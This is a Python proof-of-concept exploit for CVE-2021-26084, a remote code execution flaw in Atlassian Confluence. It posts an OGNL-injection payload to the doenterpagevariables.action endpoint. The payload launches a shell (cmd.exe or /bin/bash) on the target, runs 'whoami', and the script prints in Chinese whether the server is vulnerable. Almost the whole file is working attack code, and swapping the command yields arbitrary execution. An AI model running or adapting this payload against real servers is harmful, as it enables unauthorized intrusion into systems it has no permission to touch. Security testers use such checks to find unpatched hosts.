CVE-2021-26084.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import html
import re
import subprocess
import sys
import urllib
from urllib.parse import urlparse, urljoin, quote

import requests
import urllib3
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def verify(site):
    cmd = "whoami"
    data = "queryString=\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var isWin=java.lang.System.getProperty(\\u0027os.name\\u0027).toLowerCase().contains(\\u0027win\\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\\u0027cmd.exe\\u0027,\\u0027/c\\u0027,\\u0027"+cmd+"\\u0027]);}else{p.command([\\u0027/bin/bash\\u0027,\\u0027-c\\u0027,\\u0027"+cmd+"\\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\\u0022)}%2b\\u0027"

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    print("[<<] %s" % cmd)
    req = requests.post(site + "/pages/doenterpagevariables.action", data=data, headers=headers, verify=False)
    queryString = re.findall("value=\"{([\s\S]*)=null}\"", req.text)
    if queryString:
        return html.unescape(queryString[0])
    return ""


if __name__=="__main__":
    target = sys.argv[1]
    print("Microsoft Windows [版本 10.0.19044.3086]\n(c) Microsoft Corporation。保留所有权利。\n\nD:\VulnSubmit\script>python3 poc-yaml-confluence-cve-2021-26084-rce.py ",target)
    info = verify(target)
    if info != "":
        print("[+]漏洞存在，执行命令 whoami 结果为：", info)
    else:
        print("[-]漏洞不存在")